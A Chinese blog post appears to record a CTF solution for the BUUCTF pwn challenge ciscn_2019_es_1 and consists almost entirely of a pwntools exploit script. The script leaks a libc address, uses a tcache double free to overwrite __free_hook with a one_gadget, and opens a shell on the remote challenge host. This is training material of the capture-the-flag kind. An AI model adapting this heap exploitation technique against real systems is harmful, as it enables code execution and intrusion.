BUUCTF刷题记录---ciscn_2019_es_1

最新推荐文章于 2024-07-20 09:08:34 发布

saulgoodman-q

最新推荐文章于 2024-07-20 09:08:34 发布

阅读量98

点赞数

分类专栏： PWN 网络安全文章标签： linux 运维服务器

本文链接：https://blog.csdn.net/KaliLinux_V/article/details/128855335

版权

PWN 同时被 2 个专栏收录

22 篇文章 0 订阅

订阅专栏

网络安全

13 篇文章 0 订阅

订阅专栏

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./ciscn_2019_es_1"
io = remote("node4.buuoj.cn",27832)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.27_64.so")

def add(size,name,call):
	io.recvuntil(b"choice:")
	io.sendline(b"1")
	io.recvuntil(b"Please input the size of compary's name")
	io.sendline(str(size))
	io.recvuntil(b"please input name:")
	io.send(name)
	io.recvuntil(b"please input compary call:")
	io.send(call)


def show(idx):
	io.recvuntil(b"choice:")
	io.sendline(b"2")
	io.recvuntil(b"Please input the index:")
	io.sendline(str(idx))

def free(idx):
	io.recvuntil(b"choice:")
	io.sendline(b"3")
	io.recvuntil(b"Please input the index:")
	io.sendline(str(idx))


add(0x410,b"aaaa",b"bbbb")
add(0x60,b"aaaa",b"bbbb")
add(0x60,b"aaaa",b"bbbb")
free(0)
show(0)
io.recvuntil(b"\x3a\n")
libc_addr = u64(io.recv(6).ljust(8,b"\x00"))-96-0x10-libc.sym['__malloc_hook']
gadget = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = libc_addr+gadget[1]
free_hook = libc_addr+libc.sym['__free_hook']
print(hex(libc_addr))
print(hex(free_hook))
print(hex(one_gadget))
free(1)
free(1)
add(0x60,p64(free_hook),b"cccc")
add(0x60,b"a",b"c")
add(0x60,p64(one_gadget),b"c")
free(1)

io.interactive()